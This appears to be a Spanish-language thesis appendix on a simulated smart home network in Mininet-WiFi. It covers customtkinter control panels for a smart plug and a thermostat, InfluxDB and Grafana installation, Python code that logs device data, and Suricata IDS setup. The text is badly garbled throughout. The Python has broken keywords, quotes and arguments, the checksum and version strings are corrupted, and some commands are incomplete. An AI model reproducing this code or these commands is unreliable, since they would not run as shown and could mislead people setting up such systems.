ctk.set_appearance_mode("dark™)
ctk.set_default_color_theme("blue™)

self.status_label = ctk.CTkLabel(self.root, text="Estado: Apagado”, font=("Helvetica”, 16))
self.status_label.pack(pady=20)

button_frame = ctk.CTkFrame(self.root)
button_frame.pack(pady=10)

ctk.CTkButton(button_frame, text="Encender"”, command=self.turn_on).pack(side="1left", padx=18)
ctk.CTkButton(button_frame, text="Apagar", command=self.turn_off).pack(side="1left", padx=10)

ef toggle_plug(self, state):
self.plug.is_on = state
data = {"turn_on": state} if state else {"turn_off": True}
asyncio.run(self.plug.send_data(data))
self.update_status()

update_status(self):
state = "Encendido” if self.plug.is on else "Apagado”
self.status_label.configure(text=f"Estado: {state}")

F turn_on(self):
self.toggle_plug(True)

F turn_off(self):
self.toggle plug(False

Smart Plug plug1t - O

Estado: Apagado

Encender Apagar

- Termostato
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s Ther tatApp:

jef init__ (self, root):
self.thermostat = SmartThermostat()
self.root = root
self.root.title("Smart Thermostat")
self.root.geometry("400x300")
self.setup_ui()

f setup_ui(self):
ctk.set_appearance_mode("dark")
ctk.set_default_color_theme("blue")

self.status_label = ctk.CTkLabel(self.root, text="Estado: Apagado”, nt=("Helvetica”, 16))
self.status_label.pack(pady=10)

button_frame = ctk.CTkFrame(self.root)
button_frame.pack(pady=10)

ctk.CTkButton(button_frame, text="Encender", command da: self.toggle_thermostat( )).pack(side="1eft", padx
ctk.CTkButton(button_frame, text="Apagar"”, command=1a 1f.toggle_thermostat(Fa )).pack(side="1left", padx=

temp_frame ctk.CTkFrame(self.root)
temp_frame.pack(pady=10)

ctk.CTkLabel(temp_frame, text="Temperatura (°C): pack(side="1eft", pa
self.temp_entry = ctk.CTkEntry(temp_frame)

self.temp_entry.insert(0, "22")

self.temp_entry.pack(side="1left", padx=19)

ctk.CTkButton(self.root, text="Ajustar Temperatura"”, command=self.set_temperature).pack(pady=

toggle_thermostat(self, state):
self.thermostat.is_on = state

data = {"turn_on": state} if state else {"turn_off":
asyncio.run(self.thermostat.send_data(data))
self.update_status()

update_status(self
state "Encendido" if self.thermostat.is_on "Apagado"
self.status_label.configure(text=f"Estado: {state}")

set_temperature(self):

temperature = int(self.temp_entry.get())
self.thermostat.temperature temperature
asyncio.run(self.thermostat.send_data({"temperature”: temperature}))
except ValueError:
messagebox.showerror(“Error”, "Por favor, introduce un valor numérico valido para la temperatura.”)

Smart Thermosktat

Estado: Apagado

Encender Apagar

Temperatura ("C): 22

Ajustar Temperatura
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Configuracion de InfluxDB

Se procede con la instalacion de InfluxDB a manera de servicio, con el fin de que
este disponible como un recurso para los nodos de la topologia generada a partir de

Mininet-WiFi.

Para esto se agrega las claves del software y a su vez se incluye el repositorio de

InfluxDB a la lista de fuentes del sistema operativo.

Il = ~/Escritorio/Tesis
echo '393e8779c8%ac8d958+81F9U2f%ad7fb82a25e133faddaf92elSblbebac9dceldc influxdata-archive_compat.key'
| sha256sum -c¢ && cat influxdata-archive_compat.key | gpg --dearmor | sudo tee /etc/apt/trusted.gpg.d/
influxdata-archive_compat.gpg > /dev/null

influxdata-archive_compat.key: La suma coincide

Bl = ~/Escritorio/Tesis
echo 'deb [signed-by=/etc/apt/trusted.gpg.d/influxdata-archive_compat.gpg] https://repos.influxdata.co
m/debian stable main' | sudo tee /etc/apt/sources.list.d/influxdata.list

deb [signed-by=/etc/apt/trusted.gpg.d/influxdata-archive_compat.gpg] https://repos.influxdata.com/debi
an stable main

Una vez instalada la fuente del repositorio y actualizada la base de datos de los

repositorios se procede a instalar el servicio de InfluxDB.

IEl = ~/Escritorio/Tesis

sudo apt-get influxdb2

IEl = ~/Escritorio/Tesis v

influx version

Influx CLI dev (git: a79a2alb825867u21d320U28538F76alc90aa3lc) build_date: 202u4-0u-16T14:34:327

Se inicia y habilita el servicio de InfluxDB de manera que entre en accién al

momento en que se inicia el equipo anfitrion.

Con el fin de evitar problemas en torno al funcionamiento del servicio se habilitan

reglas de firewall que permiten su correcto funcionamiento.

Il = ~/Escritorio/Tesis
sudo ufw allow 8086/tcp

Reglas actualizadas
Reglas actualizadas (v6)
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De igual manera se instala el paquete de Python que permite enlazar el servicio

mediante codigo.

Bl = ~/Escritorio/Tesis
sudo pip install influxdb-client

[sudo] contrasefia para eddpic:
Collecting influxdb-client
Downloading influxdb_client-1.44.0-py3-none-any.whl (745 KB)
| I | 7u5 kB 650 kB/s
Requirement already satisfied: python-dateutil>=2.5.3 in /usr/local/lib/python3.8/dist-packages (from
influxdb-client) (2.9.0.postd)
Requirement already satisfied: certifi>=14.85.14 in /usr/lib/python3/dist-packages (from influxdb-clie
nt) (2019.11.28)
Collecting urllib3>=1.26.8
Downloading urllib3-2 -py3-none-any.whl (121 kB)
| I | 121 kB 19.6 MB/s
Collecting reactivex>=4.0.4
Downloading reactivex-u4.0. 4-py3-none-any.whl (217 kB)
| N | 217 KB 17.7 MB/s
Requirement already satisfied: setuptools>=21.0.0 in /usr/lib/python3/dist-packages (from influxdb-cli
ent) (45.2.0)
Requirement already satisfied: six>=1.5 in /usr/lib/python3/dist-packages (from python-dateutil>=2.5.3
~>influxdb-client) (1.14.8)
Requirement already satisfied: typing-extensions<5.0.0,>=4.1.1 in /usr/local/lib/python3.8/dist-packag
es (from reactivex>=4.0.4->influxdb-client) (4.12.0)
Installing collected packages: urllib3, reactivex, influxdb-client
Attempting uninstall: urllib3
Found existing installation: urllib3 1.25.8
Not uninstalling urllib3 at /usr/lib/python3/dist-packages, outside environment /usr
Can't uninstall 'urllib3'. No files were found to uninstall.
Successfully installed influxdb-client-1.44.6 reactivex-4.0.4 urllib3-2

Programacion de nodos para del envio de datos servidor InfluxDB

En la siguiente seccion se describen los scripts involucrados en el proceso de envio
de datos desde los nodos hacia el servidor. El proceso de envio de datos opera en base a
la siguiente funcidn la cual proporciona una interfaz para interactuar con la base de datos
de InfluxDB. Esta permite la escritura de datos por medio de la API de InfluxDB,
utilizando como parametros de conexion las variables de URL, token, organizacion y
bucket. Este ultimo hace referencia al lugar en donde se almacenan los datos de series

temporales.
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from influxdb_client import InfluxDBClient, Point
from influxdb_client.client.write_api import SYNCHRONOUS

class InfluxDBManager:
def init (self, url, token, org, bucket):
self.client = InfluxDBClient(url=url, token=token, org=org)
self.write_api = self.client.write_api(write_options=SYNCHRONOUS)
self.bucket = bucket

def write_to_influxdb(self, measurement, tags, fields):
point = Point(measurement)
for key, value in tags.items():
point = point.tag(key, value)
for key, value in fields.items():
point = point.field(key, value)
self.write api.write(bucket=self.bucket, record=point)

def close(self):
self.client.close()

Una vez establecida la funcion principal, se procede a configurar los procesos de
envio de datos hacia la base de datos de InfluxDB de manera individual para cada nodo
o dispositivo. El proceso en cuestion emplea un sistema de etiquetas para identificar de
forma unica cada dispositivo dentro del escenario, ademés de registrar las mediciones
recopilados por cada uno de estos. Este enfoque permite una mayor organizacion y

recuperacion eficiente de los datos almacenados.

- Sensor de Temperatura

server.influxdb_manager.write_to_influxdb(
measurement="temperature_sensor",
tags={},
fields={

"temperature": server.temperature_sensor

}

- Enchufe Inteligente
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server.influxdb_manager.write_to_influxdb(
measurement="smart_plug",
tags={"plug_id": plug_id},
fields={

"is_on": int(server.plugs[plug_id]["is_on"1)

}

- Termostato

server.influxdb_manager.write_to_influxdb(
measurement="thermostat",
tags={},
fields=9
"is_on": int(server.thermostat["is_on"]),
"temperature": server.thermostat["temperature"]

- Foco inteligente

server.influxdb_manager.write_to_influxdb(
measurement="smart_bulb",
tags={"bulb_id": bulb_id},
fields={

"is_on": int(server.bulbs[bulb_id]["is_on"]),
"color": server.bulbs[bulb_id]["color"],
"brightness": server.bulbs[bulb_id]["brightness"]

Validacion de envio de datos hacia InfluxDB

En el codigo de la topologia generada mediante Mininet, se incorpora el script
correspondiente a los procesos de envio de datos. Este paso permite iniciar el envio de
informacion hacia InfluxDB. Las etiquetas asociadas a las mediciones de los dispositivos
pueden visualizarse en la interfaz web de InfluxDB, donde se agrupan en funcién del

bucket asignado y los identificativos Unicos de cada dispositivo.
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Configuracién de Grafana

El proceso de instalacion inicia con la adquisicion de los claves de validacion del
software Grafana y la adicion del repositorio de descarga a la lista de fuentes del sistema

operativo Linux.

B« ~

sudo wget -g -0 /usr/share/keyrings/grafana.key https://apt.grafana.com/gpg.key

KX~ - g 6s =

echo "deb [signed-by=/usr/share/keyrings/grafana.key] https://apt.grafana.com stable main" | sudo tee -
a /etc/apt/sources.list.d/grafana.list

Posteriormente, se actualiza la lista de fuentes y procede a la instalacion de los

paqguetes esenciales para el servicio de Grafana.
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n.“

sudo apt-get grafana

B - -~ Il 1n 10s =

graFana*server -V

Version 11.1.8 (commit: 5b85cUc2fcf5d32duUf68aaef3U5c53096359b2F1, branch: HEAD)

Finalmente, se inicia y habilita el servicio de Grafana, de modo que este se ejecute

automaticamente al arrancar el sistema operativo.

K - -

sudo systemctl status grafana-server

® grafana-server.service - Grafana instance
Loaded: loaded (/lib/systemd/system/grafana-server.service; disabled; vendor preset: enabled)
Active: active (running) since Thu 2024-87-04 21:52:33 -05; 5s ago
Docs: http://docs.grafana.org

Main PID: 157988 (grafana)
Tasks: 17 (limit: 18280)
Memory: 47.9M
CGroup: /system.slice/grafana-server.service

157988 /usr/share/grafana/bin/grafana server --config=/etc/grafana/grafana.ini —-pidfif

omen grafana[157988]: logger=ngalert.scheduler t=2024-07-04T21:52:36.033841499-05:00 g
omen grafana[157988]: logger=ticker t=202u4-87-84T21:52:36.033935017-05:00 level=info ¥
omen grafana[157988]: logger=http.server t=202U4-87-04T21:52:36.035491081-05:00 level=g
omen grafana[157988]: logger=provisioning.dashboard t=2024-07-04T21:52:36.07895U646-0g
omen grafana[157988]: logger=provisioning.dashboard :36.078985166-04
omen grafana[157988]: logger=plugins.update.checker :36.266720873-04
omen grafana[157988]: logger=grafana.update.checker t=2024-07-04T21:52:36.26705681-05¢
omen grafana[157988]: logger=plugin.angulardetectorsprovider.dynamic t=2024-07-04T21:g
: omen grafana[157988]: logger=grafana-apiserver t=2024-07-04T21:52:36.456883076-05:00

21:52: omen grafana[l157988]: logger=grafana-apiserver t=2024-07-04T21:52:36.45725561-05:00 L
Lines 1-20/20 (END)

(LSS S N
[

Para evitar problemas de comunicacion en torno al servicio se afiaden reglas de
firewall que permiten las conexiones entrantes por el puerto 3000 correspondiente al

servicio de Grafana.

K - -

sudo ufw allow 3000/tcp

Reglas actualizadas
Reglas actualizadas (v6)

Configuracion de Dashboards en Grafana

Culminado el apartado de instalacion, se continua con la creacion de las graficas
que permitiran la visualizacion de los datos enviados desde los nodos de la red simulada

por medio de los siguientes pasos.

Se accede a la interfaz grafica del servicio y, en el apartado de fuentes de

informacion, se selecciona InfluxDB.
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Add data source

€« Cancel
Time series databases

Prometheus

Graphite

Core

InfluxDB

OpenTSDB

wowe

Core

En el apartado de configuracion, se establecen los pardmetros de comunicacion.
En este caso, se define el nombre, la URL y las credenciales de autenticacion para el

proceso de consultas.
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Infl UXd b L Explore data Build a dashboard

MName ® influxdb Default

Query language

Flux

(T) Support for Flux in Grafana is currently in beta

URL
Allowed cookies

Timeout

Auth

Basic auth @  With Credentials
TLS Client Auth With CA Cert
Skip TLS Verify

Forward OAuth Identity

Basic Auth Details
User admin

Password

En esta misma seccion, también se especifican los detalles de la base de datos de
InfluxDB, donde se indica la organizacion a la que pertenece y el contenedor (bucket) en

el que almacenan los datos de series temporales.
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Custom HTTP Headers

+ Add header

InfluxDB Details

Organization influxDB
Token

Default Bucket Smart Home
Min time interval

Max series

+ datasource is working. 4 buckets found

Delete Save & test

En base a la informacion del bucket de InfluxDB, se genera una consulta para

recuperar los datos de series temporales albergados en él.

createEmpty:

Se importa a Grafana el formato de la consulta generada en InfluxDB para cada
uno de los dispositivos (nodos). De esta manera, se generan las graficas de monitoreo que

muestran las mediciones y valores detectados por los dispositivos.
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La instalacién y configuracion del sistema de deteccidn de intrusos (IDS) Suricata
inicia con la adicion del repositorio del paquete de software a la lista de fuentes del

sistema operativo, procediendo luego con la instalacion el paquete Suricata.

Bl = ~/Escritorio/Tesis sudo add-apt-repository ppa:oisf/suricata-stable|

Il = ~/Escritorio/Tesis sudo apt suricata

Tras la instalacion, se habilita el servicio de manera que este se ejecute
automaticamente una vez se inicie el sistema operativo. A su vez se verifica el estado del

servicio para corroborar el correcto funcionamiento de este.

Il = ~/Escritorio/Tesis sudo systemctl enable suricata.service v

[sudo] contrasefia para eddpic:
suricata.service is not a native service, redirecting to systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable suricata

ﬂ & ~/Escritorio/Tesis sudo systemctl status suricata

® suricata.service - LSB: Next Generation IDS/IPS
Loaded: loaded (/etc/init.d/suricata; generated)
Active: active (exited) since Wed 2024-07-17 00:34:16 -05; 4Umin ago
Docs: man:systemd-sysv-generator(8)
Tasks: 8 (limit: 18288)
Memory: OB
CGroup: /system.slice/suricata.service

jul 17 00:34:16 omen systemd[1]: Starting LSB: Next Generation IDS/IPS...
jul 17 00:34:16 omen suricata[11926]: Starting suricata in IDS (af-packet) mode... done.
jul 17 00:34:16 omen systemd[1]: Started LSB: Next Generation IDS/IPS.

Una vez completada la instalacion y habilitacion del servicio, se procede a
configurar los parametros de Suricata de manera que este monitoree la red generada por
Mininet. El desarrollo de este apartado requiere de la identificacion previa de la interfaz

por la cual transita el trafico de red en Mininet.

mininet-wifi> links

apl-eth2<->serv-eth® (OK OK)

apl-eth3<->serv2-eth® (OH OK)

apl-ethd<->ips-eth® (OK OK)

sala_nI-wlan@<->wifi (use iw/iwconfig to check connectivity)
sala_n2-wlan@<->wifi (use iw/iwconfig to check connectivity)

hostl-wlan@<->wifi (use iw/iwconfig to check connectivity)
coci_nl-wlan@<->wifi (use iw/iwconfig to check connectivity)
dorm_nl-wlan@<->wifi (use iw/iwconfig to check connectivity)
entr_nl-wlan@<->wifi (use iw/iwconfig to check connectivity)
gara_nl-wlan@<->wifi (use iw/iwconfig to check connectivity)
gara_n2-wlan@<->wifi (use iw/iwconfig to check connectivity)
nat@-eth@<->apl-eth5 (0K OK)




32: apl-eth2@if2: <BROADCAST, MULTICAST,UP,LOWER_UP=
group default glen 1000

mtu 1500 gdisc noqueue master ovs-system state
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link/ether 8e:f9:bl:61:90:42 brd fF:Ff:FF:Fff:Ff:
ineté fe80::8cf9:blff:fe6l:90U2/6U scope link
valid_1ft forever preferred_1ft forever
33: apl-eth3@if2: <BROADCAST, MULTICAST,UP,LOWER_UP=
group default glen 1000
link/ether 82:e5:98:d9:d6:4f brd fF:Ff:ff:Fff:Ff:Ff link-netnsid 9
inet6 fe80::80e5:98FF:fed9:d6UF/6U scope link
valid_1ft forever preferred 1ft forever
34: apl-ethd4@if2: <BROADCAST, MULTICAST,UP,LOWER_UP=
group default glen 1000
link/ether 9a:7b:1b:u4U:5F:29 brd fF:Ff:FF:Fff:Ff:Ff link-netnsid
inet6 fe80::987b:1bff:feld £29/64 scope link
valid_1ft forever preferred_lft forever
35: apl-eth5@nat@-eth®: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1580 gdisc noqueue master ovs-system
te UP group default glen 1000
link/ether 86:la:e®:5a:26:7c brd fF:Ff:FF:FF: FFf FF
inet6 fe80::84la:ebff:fe5a:267c/64 scope link
valid_1ft forever preferred_lft forever
36: nat@-ethB@apl-eth5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group defaul
t gqlen 1080
link/ether be:ce:09:9c:71:23 brd fF:Ff:FF:FF: FFf FF
inet 10.0.0.12/8 brd 10.255.255.255 scope global nat®-eth®
valid_1ft forever preferred_lft forever
inet6 fe80::bcce:9ff:Ffe9c:7123/64 scope Llink
valid_1ft forever preferred_lft forever

ff link-netnsid 8

mtu 1500 gdisc noqueue master ovs—-system state

mtu 1500 gdisc noqueue master ovs—-system state

10

Una vez identificada la interfaz, se modifica el archivo de configuracion de
Suricata. En esta etapa, se asocia la interfaz y se designa el segmento de red a monitorear.
Adicionalmente, se establecen las rutas de los directorios donde se almacenan las reglas

y se habilita la opcidn de recarga automatica de estas.

Il = ~/Escritorio/Tesis sudo nano

# Linux

af-packet
#- interf

- interface:
# Number
"
#

# U id. AF_P ET will

"auto" u the r

load ba

AF_PA
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GNU nano 4.8 /etc/suricata/suricata.yaml

urac

0/2u41"

EXTERNAL_NET: "!$HOME_NET"
(TE ET:

default-rule-path: /var/lib/suricata/rules

rule-files:
- suricata.rules
- local.rules

a7

#

xiliar

classification-file: /etc/suricata/classification.config
reference-config-file: /etc/suricata/reference.config

# th

detect-engine
- rule-reload: true
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